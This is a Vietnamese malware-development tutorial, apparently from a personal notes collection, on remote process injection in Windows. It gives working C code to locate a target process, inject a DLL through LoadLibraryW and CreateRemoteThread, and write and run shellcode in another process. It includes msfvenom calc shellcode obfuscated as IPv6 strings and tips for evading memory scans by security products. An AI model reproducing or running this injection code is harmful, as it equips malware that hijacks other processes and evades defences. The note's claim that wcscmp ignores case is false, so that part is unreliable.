Khác với Local Payload Execution, chúng ta sẽ thực thi shellcode ở trong một process khác process hiện tại.
Enumerating Processes
Trước tiên, ta cần chọn một tiến trình để tiêm DLL. Để làm được điều này, ta cần tìm tất cả các tiến trình hiện có ở trên máy. Nguyên mẫu của hàm enum các tiến trình:
BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {
// ...
}
Có thể thấy, GetRemoteProcessHandle
có tham số đầu tiên là tên của tiến trình cần tìm, tham số thứ hai là con trỏ đến biến chứa PID của tiến trình cần tìm còn tham số thứ 3 là con trỏ đến handle của tiến trình cần tìm. Trong trường hợp không tìm được, giá trị trả về của hàm sẽ là FALSE
và ngược lại.
Chúng ta sẽ sử dụng các hàm sau để triển khai hàm trên.
CreateToolhelp32Snapshot
Hàm CreateToolhelp32Snapshot
với đối số đầu tiên là cờ TH32CS_SNAPPROCESS
cho phép ta tạo ra một snapshot của tất cả các tiến trình ở trong máy tại thời điểm hàm được gọi.
// Takes a snapshot of the currently running processes
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32
Structure
Sau khi có snapshot, ta có thể dùng hàm Process32First
để lấy ra thông tin của tiến trình đầu tiên ở trong snapshot. Đối với tất cả các tiến trình khác, ta sẽ sử dụng hàm Process32Next
.
Cả hai hàm này đều cần truyền vào đối số thứ 2 là một biến có kiểu là PROCESSENTRY32
, được định nghĩa như sau:
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // The process ID
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID; // Process ID of the parent process
LONG pcPriClassBase;
DWORD dwFlags;
CHAR sz`ExeFile[MAX_PATH]; // The name of the executable file for the process
} PROCESSENTRY32;
Trong quá trình xử lý của hàm Process32First
và hàm Process32Next
, các thành phần của biến cấu trúc sẽ được gán bằng các thông tin liên quan đến tiến trình.
Info
Các thành phần quan trọng mà ta cần để ý đến là các thành phần có comment.
Process32First
& Process32Next
Đoạn code sau thực hiện enumerate danh sách các tiến trình để tìm tiến trình có tên là giá trị của biến szProcessName
bằng cách so sánh nó với thành phần szExeFile
của PROCESSENTRY32
. Nếu tìm được, chúng ta sẽ lưu lại PID của tiến trình và mở một handle đến tiến trình đó.
// Retrieves information about the first process encountered in the snapshot.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// Use the dot operator to extract the process name from the populated struct
// If the process name matches the process we're looking for
if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
// Use the dot operator to extract the process ID from the populated struct
// Save the PID
*dwProcessId = Proc.th32ProcessID;
// Open a handle to the process
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break; // Exit the loop
}
// Retrieves information about the next process recorded the snapshot.
// While a process still remains in the snapshot, continue looping
} while (Process32Next(hSnapShot, &Proc));
Với label _EndOfFunction
dùng để dọn dẹp tài nguyên:
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
Ngoài ra, theo tài liệu của Microsoft, thành phần dwSize
của PROCESSENTRY32
cần được gán giá trị trước khi sử dụng. Để làm điều này, ta cần thêm dòng code sau trước khi tạo snapshot:
// According to the documentation:
// Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32).
// If dwSize is not initialized, Process32First fails.
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
Seealso
Có thể xem thêm ví dụ của Microsoft về cách enum các tiến trình: Taking a snapshot, viewing processes - Win32 apps | Microsoft Learn
Case Sensitive Process Name
Cần lưu ý rằng hàm wcscmp
sẽ so sánh chuỗi mà không quan tâm đến các ký tự viết hoa hay viết thường. Do đó, ta cần chuyển giá trị của thành phần szExeFile
trong PROCESSENTRY32
và giá trị của biến szProcessName
sang chữ thường trước khi so sánh.
Sửa vòng lặp do-while
lại như sau:
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// Converting each charachter in Proc.szExeFile to a lower case character
// and saving it in LowerName
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// If the lowercase'd process name matches the process we're looking for
if (wcscmp(LowerName, szProcessName) == 0) {
// Save the PID
*dwProcessId = Proc.th32ProcessID;
// Open a handle to the process
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break;
}
// Retrieves information about the next process recorded the snapshot.
// While a process still remains in the snapshot, continue looping
} while (Process32Next(hSnapShot, &Proc));
DLL Injection
Sau khi có handle đến một remote process (là tiến trình khác tiến trình hiện tại), ta sẽ thực hiện tiêm DLL vào process đó nhằm thực thi mã độc bằng cách sử dụng các hàm sau của Windows API:
VirtualAllocEx
: tương tự vớiVirtualAlloc
nhưng cho phép cấp phát bộ nhớ ở trong một remote process.WriteProcessMemory
: ghi dữ liệu vào vùng nhớ của một remote process. Trong trường hợp này, ta sẽ ghi vào đường dẫn của DLL vào tiến trình mục tiêu.CreateRemoteThread
: tạo một thread ở trong remote process.
Chúng ta sẽ xây dựng hàm InjectDllToRemoteProcess
để inject DLL vào một tiến trình. Hàm này nhận vào 2 đối số:
- Handle của tiến trình mà ta cần inject vào.
- Đường dẫn của DLL mà ta sẽ inject.
Find LoadLibraryW
Address
Chúng ta cần lấy ra địa chỉ của hàm LoadLibraryW
ở trong vùng nhớ rồi truyền vào tiến trình mục tiêu như là entry point của một thread mới trong tiến trình đó. Lý do mà ta có thể dùng địa chỉ của hàm LoadLibraryW
được lấy ra từ tiến trình hiện tại ở trong tiến trình mục tiêu là vì địa chỉ này được chia sẻ giữa các tiến trình.
Lấy ra địa chỉ sử dụng hàm GetProcAddress
như sau:
// LoadLibrary is exported by kernel32.dll
// Therefore a handle to kernel32.dll is retrieved followed by the address of LoadLibraryW
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
Allocating Memory
Bước tiếp theo là cấp phát vùng nhớ ở trong tiến trình mục tiêu sử dụng hàm VirtualAllocEx
. Vùng nhớ này sẽ được dùng để chứa đường dẫn của DLL mà sẽ được dùng làm đối số của hàm LoadLibraryW
.
// Allocate memory the size of dwSizeToWrite (that is the size of the dll name) inside the remote process, hProcess.
// Memory protection is Read-Write
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
VirtualAllocEx
khác VirtualAlloc
ở chỗ nó có thể được dùng để cấp phát vùng nhớ ở trong một tiến trình khác tiến trình hiện tại.
Writing To Allocated Memory
Chúng ta sẽ sử dụng hàm WriteProcessMemory
để ghi đường dẫn của DLL vào vùng nhớ đã được cấp phát ở trong tiến trình mục tiêu. Nguyên mẫu của hàm:
BOOL WriteProcessMemory(
[in] HANDLE hProcess, // A handle to the process whose memory to be written to
[in] LPVOID lpBaseAddress, // Base address in the specified process to which data is written
[in] LPCVOID lpBuffer, // A pointer to the buffer that contains data to be written to 'lpBaseAddress'
[in] SIZE_T nSize, // The number of bytes to be written to the specified process.
[out] SIZE_T *lpNumberOfBytesWritten // A pointer to a 'SIZE_T' variable that receives the number of bytes actually written
);
Ví dụ sử dụng như sau:
// The data being written is the DLL name, 'DllName', which is of size 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)
Có thể thấy, chúng ta ghi buffer (DllName
) vào vùng nhớ đã được cấp phát (pAddress
) mà được trả về bởi hàm VirtualAllocEx
.
Execution Via New Thread
Sau khi ghi đường dẫn của DLL vào tiến trình mục tiêu thì ta sẽ dùng hàm CreateRemoteThread
để tạo một thread ở trong tiến trình đó nhằm chạy DLL.
Địa chỉ của hàm LoadLibraryW
được lưu ở trong biến pLoadLibraryW
sẽ được truyền vào như là entry point của thread mới và giá trị pAddress
sẽ được truyền vào như là đối số của hàm LoadLibraryW
.
// The thread entry will be 'pLoadLibraryW' which is the address of LoadLibraryW
// The DLL's name, pAddress, is passed as an argument to LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
Các tham số của CreateRemoteThread
tương tự như CreateThread
nhưng có thêm một tham số đầu tiên là handle của tiến trình mà thread ta cần tạo thread.
Debugging
Đầu tiên, chúng ta sẽ chạy chương trình với hai đối số là đường dẫn của DLL và tên của tiến trình mục tiêu.
Kiểm tra ở trong Process Hacker thì thấy PID của notepad++.exe
là chính xác (224
). Điều này đồng nghĩa với việc đoạn code tìm tiến trình đã hoạt động đúng.
Chúng ta gắn xdbg
vào chương trình notepad++.exe
rồi kiểm tra địa chỉ vùng nhớ đã được cấp phát:
Sau đó, đường dẫn của DLL sẽ được ghi vào vùng nhớ này:
Cuối cùng, tạo thread mới để chạy hàm LoadLibraryW
nhằm nạp DLL vào tiến trình mục tiêu.
Error
Tuy nhiên, DLL không được chạy. Lý do là vì ta cần dùng đường dẫn tuyệt đối đến DLL.
Xác nhận rằng Dll.dll
đã được nạp vào tiến trình mục tiêu:
Đồng thời có một thread mới đã được tạo ra để thực thi hàm LoadLibraryW
:
Shellcode Injection
Kỹ thuật này tương tự như kỹ thuật trước nhưng có một vài thay đổi nhỏ. Các Windows API mà ta sẽ sử dụng cũng tương tự như kỹ thuật trước:
VirtualAllocEx
WriteProcessMemory
VirtualProtectEx
: dùng để chỉnh sửa quyền bảo vệ của vùng nhớ nhằm cho phép thực thi shellcode.CreateRemoteThread
Chúng ta sẽ xây dựng hàm InjectShellcodeToRemoteProcess
có 3 tham số:
hProcess
: handle đến process mục tiêu.pShellcode
: địa chỉ của vùng nhớ chứa shellcode ở dạng đã được deobfuscated/decrypted do một khi shellcode đã được nạp vào tiến trình mục tiêu thì chúng ta không thể chỉnh sửa được nữa.sSizeOfShellcode
: kích thước của shellcode.
Hiện thực hàm:
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
PVOID pShellcodeAddress = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
// Allocate memory in the remote process of size sSizeOfShellcode
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
// Write the shellcode in the allocated memory
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
memset(pShellcode, '\0', sSizeOfShellcode);
// Make the memory region executable
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[#] Press <Enter> To Run ... ");
getchar();
printf("[i] Executing Payload ... ");
// Launch the shellcode in a new thread
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE !\n");
return TRUE;
}
Có thể thấy, sau khi ghi shellcode vào tiến trình mục tiêu thì ta dọn sạch vùng nhớ tạm chứa shellcode trước đó. Kế đến, sử dụng VirtualProtectEx
để cho phép vùng nhớ chứa shellcode ở trong tiến trình mục tiêu (pShellcodeAddress
) có quyền thực thi. Cuối cùng, gọi hàm CreateRemoteThread
với thread entry là giá trị của pShellcodeAddress
để thực thi shellcode.
Deallocating Remote Memory
Để giải phóng vùng nhớ đã cấp phát trong tiến trình mục tiêu, ta sẽ sử dụng hàm VirtualFreeEx
có nguyên mẫu như sau:
BOOL VirtualFreeEx(
[in] HANDLE hProcess,
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD dwFreeType
);
Có thể thấy, VirtualFreeEx
có các tham số giống với VirtualFree
nhưng có thêm một tham số đầu tiên là handle của tiến trình mà có chứa vùng nhớ cần giải phóng.
Warning
Chỉ được gọi
VirtualFreeEx
sau khi shellcode đã được thực thi thành công. Nếu không thì shellcode sẽ không thể thực thi được và tiến trình mục tiêu sẽ bị crash.
Debugging
Chúng ta sẽ sử dụng shellcode được tạo ra bởi msfvenom và được che giấu bởi HellShell.
// Output using `HellShell.exe calc.bin ipv6`
// Where calc.bin is Msfvenom's calc x64 shellcode
char* Ipv6Array[] = {
"FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
"AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
"8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
"8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
"595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
"D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300"
};
Chạy chương trình với notepad++.exe
là đối số thì thấy rằng PID của notepad++.exe
tìm được khớp với kết quả của Process Hacker:
Kế đến, chương trình sẽ thực hiện giải mã shellcode và lưu vào một vùng nhớ tạm. Cần lưu ý là vùng nhớ tạm này không tồn tại ở trong notepad++.exe
:
Để xem shellcode, ta cần xem nó ở trong vùng nhớ của chương trình ProcShellcodeExec.exe
:
Shellcode đã được ghi vào tiến trình mục tiêu thành công:
Khi kiểm tra vùng nhớ tạm của chương trình ProcShellcodeExec.exe
thì thấy rằng nó đã được dọn sạch:
Điều này là để đảm bảo các security solution không phát hiện ra được shellcode ở trong vùng nhớ khi thực hiện memory scan.
Cuối cùng, shellcode đã được thực thi thành công ở trong một thread mới:
Related
list
from outgoing([[MalDev - Process Injection]])
sort file.ctime asc